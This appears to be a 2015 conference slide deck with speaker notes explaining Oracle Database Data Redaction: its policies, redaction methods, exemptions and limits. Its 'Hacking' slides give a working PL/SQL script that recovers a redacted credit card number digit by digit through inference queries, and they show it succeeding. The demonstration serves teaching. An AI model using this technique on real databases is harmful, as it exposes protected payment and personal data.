Generative AI for Technical Writer or Information Developers
Oracle Data redaction - GUOB - OTN TOUR LA - 2015
1. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Oracle Data Redaction
Presented by:
Alex Zaballa, Oracle DBA
2. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Alex Zaballa
http://alexzaballa.blogspot.com/
@alexzaballa
145 and counting…
3. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
4. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Worked 8 years for the Ministry of Finance
March - 2007 until March - 2015
5. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
6. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
7. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
ORACLE ACE PROGRAM
http://www.oracle.com/technetwork/community/oracle-ace/index.html
8. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
9. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
https://community.oracle.com/community/other-languages/portuguese
10. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Oracle Data Redaction
11. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Data Redaction
• One of the new features introduced in Oracle
Database 12c
• Part of the Advanced Security option
• Enables the protection of data shown to the
user in real time, without requiring changes to
the application
12. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Data Redaction
• This new feature has been backported to
Oracle Database 11.2.0.4
13. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
• Applies protection at query execution time
• The stored data remain unchanged
Redaction takes place immediately preceding the return of selected data and
only at the top level of a SELECT list
• It is not an operation shown in the execution plan
14. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Policy
SELECT rep.object_name as "OBJECT",
rep.policy_name,
rep.expression,
rep.enable,
rec.column_name as "COLUMN",
rec.function_type
FROM redaction_policies rep,
redaction_columns rec
WHERE rep.object_owner = rec.object_owner
AND rep.object_name = rec.object_name;
OBJECT POLICY_NAME EXPRESSION ENABLE COLUMN FUNCTION_TYPE
------ ----------- ------------------------------------------------ ------ ------ --------------
EMP SCOTT_EMP SYS_CONTEXT('SYS_SESSION_ROLES','MGR') = 'FALSE' YES SALARY FULL REDACTION
15. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
SQL> EXPLAIN PLAN FOR SELECT * FROM EMP;
SQL> SELECT * FROM table(DBMS_XPLAN.DISPLAY(format=>'ALL'));
As SCOTT with the MGR role:
--------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time |
--------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 3 | 36 | 3 (0)| 00:00:01 |
| 1 | TABLE ACCESS FULL| EMP | 3 | 36 | 3 (0)| 00:00:01 |
--------------------------------------------------------------------------
As SCOTT without the MGR role:
--------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time |
--------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 3 | 36 | 3 (0)| 00:00:01 |
| 1 | TABLE ACCESS FULL| EMP | 3 | 36 | 3 (0)| 00:00:01 |
--------------------------------------------------------------------------
16. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Not to be confused with
Oracle Data Masking
With Oracle Data Masking, the data is processed
using masked shapes and this updated data is
stored in new data blocks. For this reason, Data
Masking is more suitable for non-production
environments.
** Oracle Data Masking is available only with Enterprise
Edition database and it requires licensing of Advanced
Security.
17. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Below are some other features that already
existed to help making the data more secure:
•Virtual Private Database (VPD) - Allows control access
on both row and column levels by dynamically adding a
predicate to SQL statements issued against the database.
•Oracle Label Security – Allows you to add user-defined
values to table records combining it with VPD to allow fine
control of who sees what.
•Database Vault – Data Redaction does not prevent
privileged users (such as DBAs) from having access to the
data being protected. To solve this, you can make use of
Database Vault.
18. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Planning on Oracle Data Redaction Policy
1. Ensure that you have been granted the EXECUTE privilege on
the DBMS_REDACT PL/SQL package.
2. Determine the data type of the table or view column that you want to
redact.
3. Ensure that this column is not used in an Oracle Virtual Private
Database (VPD) row filtering condition. That is, it must not be part of
the VPD predicate generated by the VPD policy function.
4. Decide on the type of redaction that you want to perform: full,
random, partial, regular expressions, or none.
5. Decide which users to apply the Data Redaction policy to.
6. Based on this information, create the Data Redaction policy by using
the DBMS_REDACT.ADD_POLICY procedure.
7. Configure the policy to have additional columns to be redacted
19. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Conditional Redaction Examples
•User Environment
expression => 'SYS_CONTEXT(''USERENV'',''SESSION_USER'') = ''PSMITH'''
•Database Role
expression => 'SYS_CONTEXT(''SYS_SESSION_ROLES'',''SUPERVISOR'') = ''FALSE'''
•Oracle Label Security Label Dominance
expression => 'OLS_LABEL_DOMINATES (''hr_ols_pol'',''hs'') = 0'
•Application Express Session States
expression => 'V(''APP_USER'') != ''mavis@example.com'' or V(''APP_USER'') is null'
20. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
21. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
DBMS_REDACT
• DBMS_REDACT.ALTER_POLICY
Allows changes to existing policies.
• DBMS_REDACT.DISABLE_POLICY
Disables an existing policy.
• DBMS_REDACT.DROP_POLICY
Drop an existing policy.
• DBMS_REDACT.ENABLE_POLICY
Enables an existing policy.
• DBMS_REDACT.UPDATE_FULL_REDACTION_VALUES
Change the default return value for full redaction.
You must restart the database to take effect.
22. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
23. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Redaction Methods
• Full redaction
• Partial redaction
• Regular expressions
• Random redaction
• No redaction
24. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
FULL Data Redaction
•Character Data Types
The output text is a single space
•Number Data Types
The output text is a zero
•Date-Time Data Types
The output text is set to the first day of January, 2001
25. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
RANDOM Data Redaction
•CHAR Data Types
Redacted in same character set and byte length as the column
definition
•Number Data Types
Redacted in same character set and the length is limited based
on the length of the actual data
•Date-Time Data Types
Redacted as random dates that are always different from those
of the actual data
26. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
27. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Column data types
NUMBER, BINARY_FLOAT, BINARY_DOUBLE,
CHAR, VARCHAR2, NCHAR, NVARCHAR2,
DATE, TIMESTAMP, TIMESTAMP WITH TIME
ZONE, BLOB, CLOB, and NCLOB
28. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
29. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
30. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
31. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
32. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
33. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
34. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
35. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
36. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Operational Activities - No Redaction
•Backup and Restore
•Import and Export
•Patching and Upgrades
•Replication
•Users SYS and SYSTEM automatically have
the EXEMPT REDACTION POLICY system
privilege
•Data Redaction is not enforced for users
connected as SYSDBA
37. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Data Redaction and Data Pump
ORA-28081: Insufficient privileges - the command
references a redacted object
Use the EXEMPT REDACTION POLICY system privilege
in these cases. However, use it with caution.
Note that the role DATAPUMP_EXP_FULL_DATABASE
includes the EXEMPT REDACTION POLICY system
privilege
38. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
If you try to CREATE TABLE ... AS SELECT (CTAS) against a
redacted table you get the following error message: ORA-
28081: Insufficient privileges - the command references a
redacted object.
In order to perform a CREATE TABLE AS SELECT operation from
a table protected by an active redaction policy, the user must
have privileges to see the actual data on the source table
Because applications may need to perform CREATE TABLE AS
SELECT operations that involve redacted source columns, you
can grant the application the EXEMPT DDL REDACTION
POLICY system privilege.
Data Redaction and CTAS
39. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Redacted Columns and GROUP BY SQL Expressions
Redacted Columns included in SQL expressions on a GROUP BY clause will fail as follows:
SQL> select * from emp;
EMP_NO NAME SALARY
---------- ---------------------------------------- ----------
1 Daniel 702
2 Juca 607
3 Manuel 314
SQL> select (salary*1.10) from emp group by (salary*1.10);
select (salary*1.10) from emp group by (salary*1.10)
*
ERROR at line 1:
ORA-00979: not a GROUP BY expression
40. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Redacted Columns and Virtual Columns
SQL> alter table hr.employees add sal number as (salary*1.10) virtual;
alter table hr.employees add sal number as (salary*1.10) virtual
*
ERROR at line 1:
ORA-28083: A redacted column was referenced in a virtual column expression.
41. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
•Columns from MVIEWS as well as regular VIEWS
can be redacted
Data Redaction and Views
42. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Overhead
• It could reach up to 10% of performance impact
when using complex Regular Expressions
• Between 2-3% performance impact using other
redaction methods
43. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
•Never to be considered as a way to protect data from
anyone with SQL access to the database
•Extremely easy to hack once you have access to SQL
•It was never designed to protect data from the attack
we will demonstrate
Hacking
44. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Let’s consider the following Redaction Policy:
BEGIN
DBMS_REDACT.ADD_POLICY (OBJECT_SCHEMA => 'DDAMEDA', object_name
=> 'CUSTOMERS', policy_name => 'CREDIT_CARD_NO', expression =>
'SYS_CONTEXT(''USERENV'', ''SESSION_USER'') = ''WATCHER''');
DBMS_REDACT.ALTER_POLICY (OBJECT_SCHEMA => 'DDAMEDA',
object_name => 'CUSTOMERS', policy_name => 'CREDIT_CARD_NO',
action => DBMS_REDACT.ADD_COLUMN, column_name => '"CREDITCARD_NO"',
function_type => DBMS_REDACT.REGEXP , regexp_pattern =>
.*(dddd)$,regexp_replace_string =>
************1,regexp_position => 1,regexp_occurrence =>
1,regexp_match_parameter => i);
Hacking - Finding Actual Values by
Inference
45. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
SQL> SHOW USER
USER is "WATCHER“
SQL> SELECT * FROM customers;
CUSTOMER_ID NAME CREDITCARD_NO
----------- -------------------- ----------------
1 Daniel Da Meda ************4368
2 Alex Zaballa ************5211
3 Antonio Mateus ************5005
Hacking - Finding Actual Values by
Inference
46. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
SET TIMING ON
SET SERVEROUTPUT ON
DECLARE
vcreditcard_no CUSTOMERS.creditcard_no%TYPE;
vcustomer_name CUSTOMERS.name%TYPE;
BEGIN
FOR a in 1..19 LOOP
IF a NOT IN (5,10,15) THEN
FOR b in 0..9 LOOP
BEGIN
SELECT name
INTO vcustomer_name
FROM CUSTOMERS
WHERE customer_id=2
AND SUBSTR(creditcard_no,a,1) = b;
vcreditcard_no:=vcreditcard_no||b;
EXCEPTION
WHEN NO_DATA_FOUND THEN
NULL;
END;
END LOOP;
ELSE
vcreditcard_no:=vcreditcard_no||'-';
END IF;
END LOOP;
DBMS_OUTPUT.PUT_LINE('Credit Card Number for '||vcustomer_name||' is: '||vcreditcard_no);
END;
/
Hacking - Finding Actual Values by
Inference
47. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
vi get_creditcard.sql
[oracle@12c Desktop]$ sqlplus watcher/icanseeyou@pdbdev
SQL*Plus: Release 12.1.0.2.0 Production on Wed Nov 5 11:26:53 2014
Copyright (c) 1982, 2014, Oracle. All rights reserved.
Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit
Production
With the Partitioning, Automatic Storage Management, OLAP, Advanced
Analytics
and Real Application Testing options
SQL> @get_creditcard.sql
Credit Card Number for Alex Zaballa is: 5102-6342-4881-5211
PL/SQL procedure successfully completed.
Elapsed: 00:00:00.03
Hacking - Finding Actual Values by
Inference
48. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
49. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
50. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Time for SQLcl ?
51. 08 de Agosto de 2015 no Hotel Blue Tree Morumbi, São Paulo - SP
Thank You
Editor's Notes
For me, oracle should provide security features for free, specially for enterprise edition
But it is just my opinion.
The next slide will show that the execution plans do not change between queries which return redacted data and queries that do not return redacted data.
The above slide shows that a policy named SCOTT_EMP exists for a table called EMP.
The policy is enabled and it is supposed to redact the salary column for sessions that do not have the MGR role.
This slide makes it clear that there is no distinction between execution plans of the same statement with or without data redaction taking place.
The redaction magic must happen right after the TOP level operation of the execution plan and before the data is sent to the client.
Here a some examples of conditional artefacts that can be used to drive redaction policies
Import and Export: Data Redaction policies associated with tables and views are included in the export and import operation. Therefore, the policies are enabled and the data is redacted when users
query the objects in the imported database
SYSTEM has the EXP_FULL_DATABASE role, which includes the EXEMPT REDACTION POLICY system privilege.
Alternatively, you can perform the export with a user that is exempt from the redaction policy. Namely, a user that doesn't fall under the redaction criteria
Because applications may need to perform CREATE TABLE AS SELECT operations that involve redacted source columns, you can grant the application the EXEMPT DDL REDACTION POLICY system privilege.
The above example shows a table emp that has a redaction policy enabled on column SALARY.
The above example shows a table emp that has a redaction policy enabled on column SALARY.
Inline Views
SELECT XYZ … AS SELECT A… AS SELECT B… AS SELECT C…, SELECT XYZ is redacted first, followed by AS SELECT A, then AS SELECT B, and so on. AS SELECT C is redacted last.
According to our tests it could reach up to 10% of performance impact when using complex RegEx and between 2-3% performance impact using other redaction methods